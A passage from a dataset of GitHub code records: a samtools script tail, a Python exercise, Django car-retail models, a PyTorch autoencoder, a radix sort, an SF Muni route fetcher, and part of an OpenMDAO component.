sorted(subprocess.getoutput(\"ls -d /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/*.sam\").split(\"\\n\"))\nsam2coverage()\n\n# subprocess.getoutput(\"samtools view -Su /data2/bio/Metagenomes/custom/25_ecoli_genes/Mapped_reads/136VZK_no_hg19_25_ecoli_genes.sam -@ 32 | \\\n#                      samtools sort - -o /data1/bio/projects/ndanilova/colitis_crohn/test/136VZK_no_hg19_25_ecoli_genes.sorted.bam -@ 32 \")\n","repo_name":"ivasilyev/curated_projects","sub_path":"tgrigoreva/25_ecoli_genes/samtools_prod_fix.py","file_name":"samtools_prod_fix.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19421527100","text":"#  Start with your program from Exercise 8-7. Write a while\n# loop that allows users to enter an album’s artist and title. Once you have that\n# information, call make_album() with the user’s input and print the dictionary\n# that’s created. Be sure to include a quit value in the while loop\n\n\ndef make_album():\n    artist_message = \"Enter album's artist: \\n\"\n    title_message = \"Enter album's title: \\n\"\n    album_dictionary = {}\n\n    while True:\n        artist = input(artist_message)\n        if artist == \"quit\":\n            break\n        title = input(title_message)\n        if title == \"quit\":\n            break\n        album_dictionary[\"artist\"] = artist.title()\n        album_dictionary[\"title\"] = title.title()\n        print(\"This album is make by \" + album_dictionary[\"artist\"] + \" and the name is \" + album_dictionary[\"title\"] + \".\")\n\nmake_album()\n","repo_name":"yylhyyw/Python_Crash_Course_Exercise","sub_path":"Chapter8/8-8_User_Albums.py","file_name":"8-8_User_Albums.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70618368510","text":"import uuid as uuid\n\nfrom colorfield.fields import ColorField\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom django.utils.translation import gettext as _\nfrom django_countries.fields import CountryField\nfrom phonenumber_field.modelfields import PhoneNumberField\n\nfrom accounts.models import Customer\n\n\nclass BaseModel(models.Model):\n    class Meta:\n        abstract = True\n\n    create_datetime = models.DateTimeField(null=True, auto_now_add=True)\n    last_update = models.DateTimeField(null=True, auto_now=True)\n\n\nclass Retailer(BaseModel):\n    user = models.OneToOneField(Customer, on_delete=models.CASCADE, related_name=\"retailer\", null=False)\n    uuid = models.UUIDField(default=uuid.uuid4, db_index=True, unique=True)\n    company_name = models.CharField(max_length=50, blank=True, null=False)\n    phone_number = PhoneNumberField(blank=True, null=False)\n    email = models.EmailField(max_length=128)\n    address = models.CharField(_(\"address\"), max_length=128, null=False, blank=True)\n    city = models.CharField(_(\"city\"), max_length=64, blank=True, null=False)\n    country = CountryField(blank=True, null=False)\n    zip_code = models.CharField(_(\"zip code\"), max_length=5, blank=True, null=False)\n    description = models.TextField(\n        _(\"description\"),\n        max_length=500,\n        null=False,\n        blank=True,\n    )\n    photo = models.ImageField(upload_to=\"users_photo/\", null=True, blank=True, default=\"users_photo/default.jpg\")\n    service_fee = models.DecimalField(\n        max_digits=19,\n        decimal_places=2,\n        null=False,\n        blank=True,\n        default=1.00,\n        validators=[MinValueValidator(1.00)],\n    )\n\n    def __str__(self):\n        return f\"{self.company_name} - {self.city} ({self.get_country_display()})\"\n\n    def vehicles_count(self):\n        return self.vehicle.count()\n\n    def save(self, *args, **kwargs):\n        self.full_clean()\n        return super().save(*args, **kwargs)\n\n\nclass Vehicle(BaseModel):\n    YEAR_OF_PRODUCTION_MIN = 1900\n    YEAR_OF_PRODUCTION_MAX = 2000\n\n    class VEHICLE_CATEGORY_CHOICES(models.IntegerChoices):\n        EU_ELITE = 0, \"European Elite Classic\"\n        US_RETRO = 1, \"US Retro\"\n        EU_LEGEND = 2, \"European Legend\"\n        RESTORED_OLDTIMER = 3, \"Fully Restored Oldtimer\"\n        US_MUSCLE = 4, \"US Muscle Car\"\n        OFFROAD = 5, \"Offroad Classic\"\n        ASIAN_LEGEND = 6, \"Asian Legends\"\n        RARE_SUPERCAR = 7, \"Rare Supercar\"\n        CUSTOM = 8, \"Deep Tuned Custom\"\n        EU_RACING = 9, \"European Racing Classics\"\n        OTHER = 10, \" Other\"\n\n    class VEHICLE_CONDITION_CHOICES(models.IntegerChoices):\n        EXCELLENT = 0, \"Excellent\"\n        VERY_GOOD = 1, \"Very Good\"\n        GOOD = 2, \"Good\"\n        SATISFACTORY = 3, \"Satisfactory\"\n        POOR = 4, \"Poor\"\n        OUT_OF_ORDER = 5, \"Out of order\"\n        OTHER = 6, \"Other\"\n\n    class VEHICLE_TRANSMISSION_CHOICES(models.IntegerChoices):\n        M = 0, \"Manual\"\n        A = 1, \"Automatic\"\n        OTHER = 2, \"Other\"\n\n    owner = models.ForeignKey(\n        Customer,\n        related_name=\"vehicle\",\n        on_delete=models.CASCADE,\n        null=True,\n        blank=True,\n    )\n    retailer = models.ForeignKey(\n        Retailer,\n        related_name=\"vehicle\",\n        on_delete=models.SET_DEFAULT,\n        null=True,\n        blank=True,\n        default=1,\n    )\n    vin = models.CharField(null=False, blank=False, unique=True, max_length=17, primary_key=True, db_index=True)\n    category = models.PositiveSmallIntegerField(\n        choices=VEHICLE_CATEGORY_CHOICES.choices,\n        default=VEHICLE_CATEGORY_CHOICES.OTHER,\n        null=False,\n        blank=True,\n    )\n    brand = models.CharField(\n        max_length=50,\n        null=False,\n        blank=True,\n    )\n    model = models.CharField(\n        max_length=50,\n        null=False,\n        blank=True,\n    )\n    production_year = models.PositiveSmallIntegerField(\n        _(\"year\"),\n        null=True,\n        blank=True,\n        validators=[MaxValueValidator(YEAR_OF_PRODUCTION_MAX), MinValueValidator(YEAR_OF_PRODUCTION_MIN)],\n    )\n    condition = models.PositiveSmallIntegerField(\n        choices=VEHICLE_CONDITION_CHOICES.choices,\n        default=VEHICLE_CONDITION_CHOICES.OTHER,\n        null=True,\n        blank=True,\n    )\n    mileage = models.PositiveBigIntegerField(null=True, blank=True, validators=[MaxValueValidator(3000000)])\n    seats = models.SmallIntegerField(null=True, blank=True, validators=[MaxValueValidator(7), MinValueValidator(1)])\n    color = ColorField(blank=True, null=True)\n    transmission = models.PositiveSmallIntegerField(\n        choices=VEHICLE_TRANSMISSION_CHOICES.choices,\n        default=VEHICLE_TRANSMISSION_CHOICES.OTHER,\n        null=True,\n        blank=True,\n    )\n    image = models.ImageField(\n        default=\"default.png\",\n        upload_to=\"media/vehicle\",\n        null=True,\n        blank=True,\n    )\n    price = models.DecimalField(\n        max_digits=19, decimal_places=2, null=True, blank=True, validators=[MinValueValidator(1.00)]\n    )\n    description = models.TextField(\n        max_length=500,\n        null=False,\n        blank=True,\n    )\n\n    def __str__(self):\n        return f\"{self.brand} {self.model} Price: {self.price} $ \"\n\n    def save(self, *args, **kwargs):\n        self.full_clean()\n        return super().save(*args, **kwargs)\n\n\nclass Employee(BaseModel):\n    class EMPLOYEE_RANK_CHOICES(models.IntegerChoices):\n        CEO = 0, \"Chief Executive Officer\"\n        GENERAL_MANAGER = 1, \"General Manager / Administrator\"\n        SALES_MANAGER = 2, \"Sales Manager\"\n\n    user = models.OneToOneField(Customer, on_delete=models.CASCADE, related_name=\"employee\")\n    retailer = models.ForeignKey(to=\"Retailer\", related_name=\"employees\", on_delete=models.CASCADE)\n    uuid = models.UUIDField(\n        primary_key=True,\n        unique=True,\n        editable=False,\n        default=uuid.uuid4,\n    )\n    first_name = models.CharField(\n        max_length=128,\n        null=False,\n        blank=True,\n    )\n    last_name = models.CharField(\n        max_length=128,\n        null=False,\n        blank=True,\n    )\n    rank = models.PositiveSmallIntegerField(\n        choices=EMPLOYEE_RANK_CHOICES.choices, default=EMPLOYEE_RANK_CHOICES.SALES_MANAGER\n    )\n    email = models.EmailField(\n        max_length=128,\n        null=False,\n        blank=True,\n    )\n\n\nclass DeliveryService(BaseModel):\n    uuid = models.UUIDField(default=uuid.uuid4, db_index=True, unique=True)\n    company_name = models.CharField(max_length=50, null=False, blank=True)\n    phone_number = PhoneNumberField(null=False, blank=True)\n    email = models.EmailField(\n        max_length=128,\n        null=False,\n        blank=True,\n    )\n    address = models.CharField(\n        _(\"address\"),\n        max_length=128,\n        null=False,\n        blank=True,\n    )\n    city = models.CharField(\n        _(\"city\"),\n        max_length=64,\n        null=False,\n        blank=True,\n    )\n    country = CountryField(\n        null=False,\n        blank=True,\n    )\n    zip_code = models.CharField(\n        _(\"zip code\"),\n        max_length=5,\n        null=False,\n        blank=False,\n    )\n    international_delivery = models.BooleanField(default=False)\n\n\nclass Invoices(BaseModel):\n    invoice_date = models.DateTimeField(\n        null=False,\n        blank=False,\n    )\n    billing_address = models.CharField(_(\"address\"), max_length=128, default=\"N/A\")\n    billing_city = models.CharField(\n        _(\"city\"),\n        max_length=64,\n        blank=True,\n        null=False,\n    )\n    billing_country = CountryField(\n        null=False,\n        blank=True,\n    )\n    billing_zip_code = models.CharField(\n        _(\"zip code\"),\n        max_length=5,\n        null=False,\n        blank=False,\n    )\n    total = models.DecimalField(\n        max_digits=19,\n        decimal_places=2,\n        null=False,\n        blank=False,\n    )\n\n\nclass InvoiceItems(BaseModel):\n    vehicle = models.ForeignKey(to=\"Vehicle\", related_name=\"invoice_items_vehicle\", on_delete=models.CASCADE)\n    delivery_service_id = models.ForeignKey(\n        to=\"DeliveryService\",\n        related_name=\"invoice_items\",\n        on_delete=models.CASCADE,\n        null=False,\n        blank=False,\n    )\n    invoices = models.ForeignKey(\n        to=\"Invoices\",\n        related_name=\"invoice_items\",\n        on_delete=models.CASCADE,\n        null=False,\n        blank=False,\n    )\n    invoice_line_id = models.IntegerField(primary_key=True, blank=False, db_index=True, default=\"N/A\")\n    price = models.ForeignKey(\n        to=\"Vehicle\",\n        related_name=\"invoice_items_price\",\n        on_delete=models.CASCADE,\n        null=False,\n        blank=False,\n    )\n    delivery_fee = models.DecimalField(\n        max_digits=19,\n        decimal_places=2,\n        null=False,\n        blank=False,\n    )\n    insurance_fee = models.DecimalField(\n        max_digits=19,\n        decimal_places=2,\n        null=False,\n        blank=False,\n    )\n","repo_name":"DelDmc/OldTimers","sub_path":"src/oldtimers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70607885632","text":"# -*- coding: utf-8 -*-\nfrom accelbrainbase.observabledata._torch.neural_networks import NeuralNetworks\nfrom accelbrainbase.iteratable_data import IteratableData\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim.optimizer import Optimizer, required\nfrom torch.optim.adam import Adam\nfrom logging import getLogger\n\n\nclass AutoEncoder(NeuralNetworks):\n    '''\n    Auto-Encoder.\n\n    References:\n        - Kamyshanska, H., & Memisevic, R. (2014). The potential energy of an autoencoder. IEEE transactions on pattern analysis and machine intelligence, 37(6), 1261-1273.\n    '''\n\n    # `bool` that means initialization in this class will be deferred or not.\n    __init_deferred_flag = False\n\n    def __init__(\n        self,\n        encoder,\n        decoder,\n        computable_loss,\n        learning_rate=1e-05,\n        ctx=\"cpu\",\n        tied_weights_flag=False,\n        not_init_flag=False,\n    ):\n        '''\n        Init.\n\n        Args:\n            encoder:                        is-a `NeuralNetworks`.\n            decoder:                        is-a `NeuralNetworks`.\n            computable_loss:                is-a `ComputableLoss` or `mxnet.gluon.loss`.\n            learning_rate:                  `float` of learning rate.\n            observed_activation:            `act_type` in `mxnet.ndarray.Activation` or `mxnet.symbol.Activation` \n                                            that activates observed data points.\n\n            ctx:                            Context-manager that changes the selected device.\n            tied_weights_flag:              `bool` of flag to tied weights or not.\n            not_init_flag:                  `bool` of whether initialize parameters or not.\n        '''\n        if isinstance(encoder, NeuralNetworks) is False:\n            raise TypeError(\"The type of `encoder` must be `NeuralNetworks`.\")\n        if isinstance(decoder, NeuralNetworks) is False:\n            raise TypeError(\"The type of `decoder` must be `NeuralNetworks`.\")\n\n        init_deferred_flag = self.init_deferred_flag\n        self.init_deferred_flag = True\n        super(AutoEncoder, self).__init__(computable_loss=computable_loss)\n        self.init_deferred_flag = init_deferred_flag\n\n        logger = getLogger(\"accelbrainbase\")\n        self.__logger = logger\n        self.encoder = encoder\n        self.decoder = decoder\n        self.__tied_weights_flag = tied_weights_flag\n\n        self.__computable_loss = computable_loss\n\n        self.encoder_optimizer = None\n        self.decoder_optimizer = None\n\n        self.epoch = 0\n        self.__learning_rate = learning_rate\n        self.__not_init_flag = not_init_flag\n\n        self.__ctx = ctx\n        self.__encoder_input_dim = None\n        self.__decoder_input_dim = None\n        self.__loss_list = []\n\n    def parameters(self):\n        '''\n        '''\n        return [\n            {\n                \"params\": self.encoder.parameters(),\n            },\n            {\n                \"params\": self.decoder.parameters(),\n            }\n        ]\n\n    def initialize_params(self, input_dim):\n        '''\n        Initialize params.\n        '''\n        if self.encoder_optimizer is not None and self.decoder_optimizer is not None:\n            return\n\n        self.__encoder_input_dim = input_dim\n        self.__decoder_input_dim = self.encoder.units_list[-1]\n        if self.init_deferred_flag is False:\n            if self.__not_init_flag is False:\n                self.encoder.initialize_params(self.__encoder_input_dim)\n                self.decoder.initialize_params(self.__decoder_input_dim)\n                self.encoder_optimizer = self.encoder.optimizer\n                self.decoder_optimizer = self.decoder.optimizer\n\n    def learn(self, iteratable_data):\n        '''\n        Learn samples drawn by `IteratableData.generate_learned_samples()`.\n\n        Args:\n            iteratable_data:     is-a `IteratableData`.\n        '''\n        if isinstance(iteratable_data, IteratableData) is False:\n            raise TypeError(\"The type of `iteratable_data` must be `IteratableData`.\")\n\n        self.__loss_list = []\n        try:\n            epoch = self.epoch\n            iter_n = 0\n            for batch_observed_arr, batch_target_arr, test_batch_observed_arr, test_batch_target_arr in iteratable_data.generate_learned_samples():\n                batch_size = batch_observed_arr.shape[0]\n                self.initialize_params(\n                    input_dim=batch_observed_arr.reshape(batch_size, -1).shape[1]\n                )\n                self.encoder_optimizer.zero_grad()\n                self.decoder_optimizer.zero_grad()\n                # rank-3\n                pred_arr = self.inference(batch_observed_arr)\n                loss = self.compute_loss(\n                    pred_arr,\n                    batch_target_arr\n                )\n                loss.backward()\n                self.encoder_optimizer.step()\n                self.decoder_optimizer.step()\n                self.regularize()\n\n                if (iter_n+1) % int(iteratable_data.iter_n / iteratable_data.epochs) == 0:\n                    with torch.inference_mode():\n                        # rank-3\n                        test_pred_arr = self.inference(test_batch_observed_arr)\n\n                        test_loss = self.compute_loss(\n                            test_pred_arr,\n                            test_batch_target_arr\n                        )\n                    _loss = loss.to('cpu').detach().numpy().copy()\n                    _test_loss = test_loss.to('cpu').detach().numpy().copy()\n                    self.__loss_list.append((_loss, _test_loss))\n                    self.__logger.debug(\"Epochs: \" + str(epoch + 1) + \" Train loss: \" + str(_loss) + \" Test loss: \" + str(_test_loss))\n                    epoch += 1\n                iter_n += 1\n\n        except KeyboardInterrupt:\n            self.__logger.debug(\"Interrupt.\")\n\n        self.epoch = epoch\n        self.__logger.debug(\"end. \")\n\n    def inference(self, observed_arr):\n        '''\n        Inference the feature points.\n\n        Args:\n            observed_arr:   rank-2 Array like or sparse matrix as the observed data points.\n                            The shape is: (batch size, feature points)\n\n        Returns:\n            `tensor` of inferenced feature points.\n        '''\n        pred_arr = self.forward(observed_arr)\n        return pred_arr\n\n    def compute_loss(self, pred_arr, labeled_arr):\n        '''\n        Compute loss.\n\n        Args:\n            pred_arr:       `tensor`.\n            labeled_arr:    `tensor`.\n\n        Returns:\n            loss.\n        '''\n        return self.__computable_loss(pred_arr, labeled_arr)\n\n    def extract_feature_points(self):\n        '''\n        Extract the activities in hidden layer and reset it, \n        considering this method will be called per one cycle in instances of time-series.\n\n        Returns:\n            The `mxnet.ndarray` of array like or sparse matrix of feature points or virtual visible observed data points.\n        '''\n        return self.feature_points_arr\n\n    def extract_learned_dict(self):\n        '''\n        Extract (pre-) learned parameters.\n\n        Returns:\n            `dict` of the parameters.\n        '''\n        params_arr_dict = {}\n\n        params_dict = self.encoder.extract_learned_dict()\n        for k in params_dict:\n            params_arr_dict.setdefault(k, params_dict[k].data())\n\n        params_dict = self.decoder.extract_learned_dict()\n        for k in params_dict:\n            params_arr_dict.setdefault(k, params_dict[k].data())\n\n        return params_arr_dict\n\n    def forward(self, x):\n        '''\n        Forward with torch.\n\n        Args:\n            x:      `tensor` of observed data points.\n        \n        Returns:\n            `tensor` of inferenced feature points.\n        '''\n        batch_size = x.shape[0]\n        self.initialize_params(\n            input_dim=x.reshape(batch_size, -1).shape[1]\n        )\n\n        encoded_arr = self.encoder.inference(x)\n        self.feature_points_arr = encoded_arr\n        decoded_arr = self.decoder.inference(encoded_arr)\n        self.__pred_arr = decoded_arr\n        return decoded_arr\n\n    def regularize(self):\n        '''\n        Regularization.\n        '''\n        self.encoder.regularize()\n        self.decoder.regularize()\n        self.__tie_weights()\n\n    def __tie_weights(self):\n        if self.__tied_weights_flag is True:\n            encoder_params_dict = self.encoder.extract_learned_dict()\n            decoder_params_dict = self.decoder.extract_learned_dict()\n            encoder_weight_keys_list = [key for key in encoder_params_dict.keys() if \"fc_list\" in key and \"weight\" in key]\n            decoder_weight_keys_list = [key for key in decoder_params_dict.keys() if \"fc_list\" in key and \"weight\" in key]\n\n            if len(encoder_weight_keys_list) != len(decoder_weight_keys_list):\n                raise ValueError(\n                    \"The number of layers is invalid.\"\n                )\n\n            for i in range(len(self.encoder.units_list)):\n                encoder_layer = i\n                decoder_layer = len(self.encoder.units_list) - i - 1\n                encoder_weight_keys, decoder_weight_keys = None, None\n                for _encoder_weight_keys in encoder_weight_keys_list:\n                    if \"fc_list.\" + str(encoder_layer) + \".weight\" in _encoder_weight_keys:\n                        encoder_weight_keys = _encoder_weight_keys\n                        break\n\n                for _decoder_weight_keys in decoder_weight_keys_list:\n                    if \"fc_list.\" + str(decoder_layer) + \".weight\" in _decoder_weight_keys:\n                        decoder_weight_keys = _decoder_weight_keys\n                        break\n\n                if encoder_weight_keys is not None and decoder_weight_keys is not None:\n                    try:\n                        decoder_params_dict[decoder_weight_keys] = encoder_params_dict[encoder_weight_keys].T\n                    except AssertionError:\n                        raise ValueError(\n                            \"The shapes of weight matrixs must be equivalents in encoder layer \" + str(encoder_layer) + \" and decoder layer \" + str(decoder_layer)\n                        )\n\n            for k, params in decoder_params_dict.items():\n                if k in decoder_weight_keys_list:\n                    self.decoder.load_state_dict({k: params}, strict=False)\n\n    def __rename_file(self, filename):\n        filename_list = filename.split(\".\")\n        _format = filename_list[-1]\n        encoder_filename = filename.replace(\".\" + _format, \"_encoder.\" + _format)\n        decoder_filename = filename.replace(\".\" + _format, \"_decoder.\" + _format)\n        return encoder_filename, decoder_filename\n\n    def save_parameters(self, filename):\n        '''\n        Save parameters to files.\n\n        Args:\n            filename:       File name.\n        '''\n        encoder_filename, decoder_filename = self.__rename_file(filename)\n        self.encoder.save_parameters(encoder_filename)\n        self.decoder.save_parameters(decoder_filename)\n        torch.save(\n            {\n                'epoch': self.epoch,\n                'loss': self.loss_arr,\n            }, \n            filename\n        )\n\n    def load_parameters(self, filename, ctx=None, strict=True):\n        '''\n        Load parameters to files.\n\n        Args:\n            filename:       File name.\n            ctx:            Context-manager that changes the selected device.\n            strict:         Whether to strictly enforce that the keys in state_dict match the keys returned by this module’s state_dict() function. Default: `True`.\n        '''\n        encoder_filename, decoder_filename = self.__rename_file(filename)\n        self.encoder.load_parameters(encoder_filename, ctx=ctx, strict=strict)\n        self.decoder.load_parameters(decoder_filename, ctx=ctx, strict=strict)\n\n        checkpoint = torch.load(filename)\n        self.epoch = checkpoint['epoch']\n        self.__loss_list = checkpoint['loss'].tolist()\n\n    def set_readonly(self, value):\n        ''' setter '''\n        raise TypeError(\"This property must be read-only.\")\n\n    def get_loss_arr(self):\n        ''' getter for losses. '''\n        return np.array(self.__loss_list)\n\n    loss_arr = property(get_loss_arr, set_readonly)\n\n    def get_init_deferred_flag(self):\n        ''' getter for `bool` that means initialization in this class will be deferred or not.'''\n        return self.__init_deferred_flag\n    \n    def set_init_deferred_flag(self, value):\n        ''' setter for `bool` that means initialization in this class will be deferred or not.'''\n        self.__init_deferred_flag = value\n\n    init_deferred_flag = property(get_init_deferred_flag, set_init_deferred_flag)\n","repo_name":"accel-brain/accel-brain-code","sub_path":"Accel-Brain-Base/accelbrainbase/observabledata/_torch/neuralnetworks/auto_encoder.py","file_name":"auto_encoder.py","file_ext":"py","file_size_in_byte":12802,"program_lang":"python","lang":"en","doc_type":"code","stars":288,"dataset":"github-code","pt":"60"}
+{"seq_id":"39757480628","text":"def get_digits(n, mod=10):\n\t# returns a list containing digits of the number n\n\tres = []\n\n\tnmod_prev = n\n\ti = 1\n\n\twhile(nmod_prev != 0):\n\t\tremainder = int(nmod_prev % mod)\n\t\tres = [remainder] + res\n\t\tnmod_prev = int((nmod_prev - remainder) / mod)\n\t\ti += 1\n\n\treturn res\n\ndef pad_digits(a_digits):\n\t# takes a list of numbers represented as digits\n\t# and pads them with 0s in front\n\t# returns a list of digits padded to the same length\n\n\tassert(len(a_digits) > 0)\n\n\tmax_len = len(a_digits[0])\n\tfor i in range(1, len(a_digits)):\n\t\tif(max_len < len(a_digits[i])):\n\t\t\tmax_len = len(a_digits[i])\n\n\ta_digits_padded = []\n\n\tfor i in range(len(a_digits)):\n\t\tcur_a = a_digits[i]\n\t\tfor j in range(max_len - len(a_digits[i])):\n\t\t\tcur_a = [0] + cur_a\n\n\t\ta_digits_padded.append(cur_a)\n\n\treturn a_digits_padded, max_len\n\ndef stable_insertion_sort_on_digits(A, ind):\n\tassert(len(A) > 0)\n\tassert(ind < len(A[0]))\n\tfor j in range(1, len(A)):\n\t\tkey_arr = A[j]\n\t\tkey = A[j][ind]\n\t\ti = j-1\n\t\twhile(i >= 0 and A[i][ind] > key):\n\t\t\tA[i+1] = A[i]\n\t\t\ti -= 1\n\t\tA[i+1] = key_arr\n\ndef radix_sort_on_digit(A, d):\n\t# implements textbook radix sort\n\t# A - a list of input numbers, each represented by \n\t# a list of digits, padded in front to the same length\n\t# d - number of digits, i.e. length of each list of digits for each number in A\n\n\t# returns a radix-sorted list of digits\n\n\tfor i in range(0, d):\n\t\tstable_insertion_sort_on_digits(A, d-i-1)\n\ndef digits_to_numbers(A, mod):\n\t# converts digits to numbers\n\tres = []\n\tfor i in range(len(A)):\n\t\tdigits = A[i]\n\t\tcur_num = 0\n\t\tfor j in range(len(digits)):\n\t\t\tcur_num += digits[len(digits)-j-1] * pow(mod, j) #mod^j\n\t\tres.append(cur_num)\n\n\treturn res\n\ndef radix_sort(a, mod=10):\n\n\tfor i in range(len(a)):\n\t\tassert(a[i] > 0)\n\t\tassert(int(a[i]) == a[i])\n\n\ta_digits = [get_digits(el, mod) for el in a]\n\ta_digits_padded, d = pad_digits(a_digits)\n\tradix_sort_on_digit(a_digits_padded, d)\n\ta_sorted = digits_to_numbers(a_digits_padded, mod)\n\n\treturn a_sorted\n\ndef test():\n\tprint(\"Running tests\")\n\ta = [329, 457, 657, 839, 436, 720, 355]\n\ta_sorted = radix_sort(a)\n\tassert(a_sorted == [329, 355, 436, 457, 657, 720, 839])\n\tprint(\"All tests passed\")\n\tprint(\"\")\n\ndef main():\n\n\ttest()\n\ta = [10, 4, 6 , 108, 1, 3, 99, 203, 5, 5, 10001]\n\n\tprint(\"Before sorting: \" + str(a))\n\n\ta_sorted = radix_sort(a)\n\n\tprint(\"After sorting: \" + str(a_sorted))\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"avalouev/basic_algorithms","sub_path":"radix_sort/radix_sort.py","file_name":"radix_sort.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4327060222","text":"import argparse\nimport requests\nimport json\nimport datetime\nimport ast\nimport pdb\nimport logging\nimport inspect\nimport sys, os, django\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASE_DIR)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"app.settings\")\ndjango.setup()\n\nfrom collect.models import *\n\nclass restbus_api:\n\tdef __init__(self):\n\t\t'''The RestBus API setup'''\n\t\tself.base_url = 'http://restbus.info/api/agencies/sf-muni/'\n\t\tself.routes_url = 'routes/'\n\t\tself.vehicles_url = 'vehicles/'\n\t\tself.headers = {'Content-Type': 'application/json'}\n\n\tdef get_json(self,content_url):\n\n\t\ts = requests.Session()\n\t\ts.headers.update(self.headers)\n\t\turl = self.base_url+content_url\n\n\t\tstatus = s.get(url).json()\n\n\t\ts.close()\n\n\t\treturn status\n\n\nif __name__ == \"__main__\":\n\t'''Script to read data via the RESTFUL API. '''\n\tparser = argparse.ArgumentParser(description='Read the RestBus API')\n\n\targs = parser.parse_args()\n\n\tapi1 = restbus_api()\n\n\t# Go grab the latest routes\n\n\troutes = api1.get_json('routes/')\n\n\tfor route in routes:\n\t\trid = route['id']\n\t\ttitle = route['title']\n\t\tr1 = Route.objects.filter(rid=rid).first()\n\n\t\tif not r1:\n\t\t\tr2 = Route(rid=rid,title=title)\n\t\t\tr2.save()\n","repo_name":"jarieb/sfmuni-trip-stats","sub_path":"app/gather_sfmta_data.py","file_name":"gather_sfmta_data.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23776543108","text":"import numpy as np\nfrom openmdao.api import ExplicitComponent\n\n\"The RHS of psi double dot\"\n\nclass PathpointsComp(ExplicitComponent):\n\n    def initialize(self):\n        self.options.declare('tube_nbr', default=3, types=int)\n        self.options.declare('k', default=3, types=int)\n        self.options.declare('num_nodes', default=4, types=int)\n\n        \n\n    \n    def setup(self):\n        num_nodes = self.options['num_nodes']\n        k = self.options['k']\n\n        #Inputs\n        self.add_input('p', shape=(num_nodes,k,3,1))\n        self.add_input('desptsconstraints', shape=(k,3))\n\n        # outputs\n        self.add_output('pathconstraints',shape=(k,3))\n        \n        row_indices = np.outer(np.arange(k*3),np.ones(3)).flatten()\n        col_indices = np.outer(np.ones(k),np.outer(np.ones(3),np.array([0,1,2])).flatten()) + (np.arange(0,k*3,3).reshape(-1,1))\n        # row_indices_p = np.outer(np.arange(k*3),np.ones(num_nodes*3)).flatten()\n        # row_indices_p = np.arange(num_nodes*k*3).flatten()\n        # col_indices_p = np.outer(np.ones(k*num_nodes),np.outer(np.ones(3),np.array([0,1,2])).flatten()) + (np.arange(0,num_nodes*k*3,3).reshape(-1,1))\n        row_indices_p = np.outer(np.arange(k*3),np.ones(num_nodes)).flatten()\n        col_indices_p = np.outer(np.ones(num_nodes*k),np.outer(np.ones(3),np.array([0,1,2])).flatten()) + (np.arange(0,num_nodes*k*3,3).reshape(-1,1))\n        row_indices_K = np.outer(np.ones(num_nodes),np.arange(k*3)).flatten()\n        col_indices_K = np.arange(num_nodes*k*3).flatten()\n        self.declare_partials('pathconstraints', 'p')#,rows= row_indices_K , cols=col_indices_K)#,rows=row_indices, cols=col_indices.flatten())#,rows=row_indices,cols=col_indices)\n        self.declare_partials('pathconstraints', 'desptsconstraints')\n       \n        \n    def compute(self,inputs,outputs):\n\n        k = self.options['k']\n        num_nodes= self.options['num_nodes']\n        p = inputs['p']\n        tip = inputs['desptsconstraints']\n        p = np.reshape(p,(num_nodes,k,3))\n        # change here\n        idx = np.linspace(20,100,k-1,dtype = int, endpoint=False)\n        self.idx = idx\n        path = np.zeros((k,3))\n        path[0,:] = tip[0,:]\n        path[1:,:] = tip[1:,:] - p[idx,0,:]\n        \n        outputs['pathconstraints'] = path\n\n    def compute_partials(self,inputs,partials):\n        \"\"\" partials Jacobian of partial derivatives.\"\"\"\n        num_nodes = self.options['num_nodes']\n        k = self.options['k']\n        p = inputs['p']\n        node_idx = self.idx\n        node_idx = np.asarray(node_idx)\n        '''Computing Partials'''\n        pp_pp = np.zeros((k*3,num_nodes*k*3))\n        k_idx = np.arange(k)*3\n        \n        pp_pp[k_idx[1:],(3*node_idx*k).astype(int)] = -1\n        pp_pp[k_idx[1:]+1,(3*node_idx*k+1).astype(int)] = -1\n        pp_pp[k_idx[1:]+2,(3*node_idx*k+2).astype(int)] = -1\n        # k_ = np.arange(0,k*3,3)\n        # pd_pp[np.arange(k)*3,(interpolation_idx_r)*k*3+k_] = tmp\n        # pd_pp[np.arange(k)*3+1,(interpolation_idx_r)*k*3+k_+1] = tmp\n        # pd_pp[np.arange(k)*3+2,(interpolation_idx_r)*k*3+k_+2] = tmp\n        # pd_pp[np.arange(k)*3,(interpolation_idx_l)*k*3+k_] = 1-tmp\n        # pd_pp[np.arange(k)*3+1,(interpolation_idx_l)*k*3+k_+1] = 1-tmp\n        # pd_pp[np.arange(k)*3+2,(interpolation_idx_l)*k*3+k_+2] = 1-tmp\n        \n        \n        pp_pd = np.identity((k*3))\n        # pp_pd[:3,:3] = np.identity(3)\n        # pd_pt[:,0] = (p[interpolation_idx_r,np.arange(k),0] - p[interpolation_idx_l,np.arange(k),0]).squeeze()\n        # pd_pt[:,3] = (p[interpolation_idx_r,np.arange(k),1] - p[interpolation_idx_l,np.arange(k),1]).squeeze()\n        # pd_pt[:,6] = (p[interpolation_idx_r,np.arange(k),2] - p[interpolation_idx_l,np.arange(k),2]).squeeze()\n        # pd_pt[:,3] = (p[interpolation_idx_r,:,1] - p[interpolation_idx_l,:,1])\n        # pd_pt[:,6] = (p[interpolation_idx_r,:,2] - p[interpolation_idx_l,:,2])\n\n        partials['pathconstraints','desptsconstraints'][:] = pp_pd\n        partials['pathconstraints','p'][:]= pp_pp\n\nif __name__ == '__main__':\n    \n    from openmdao.api import Problem, Group\n    \n    from openmdao.api import 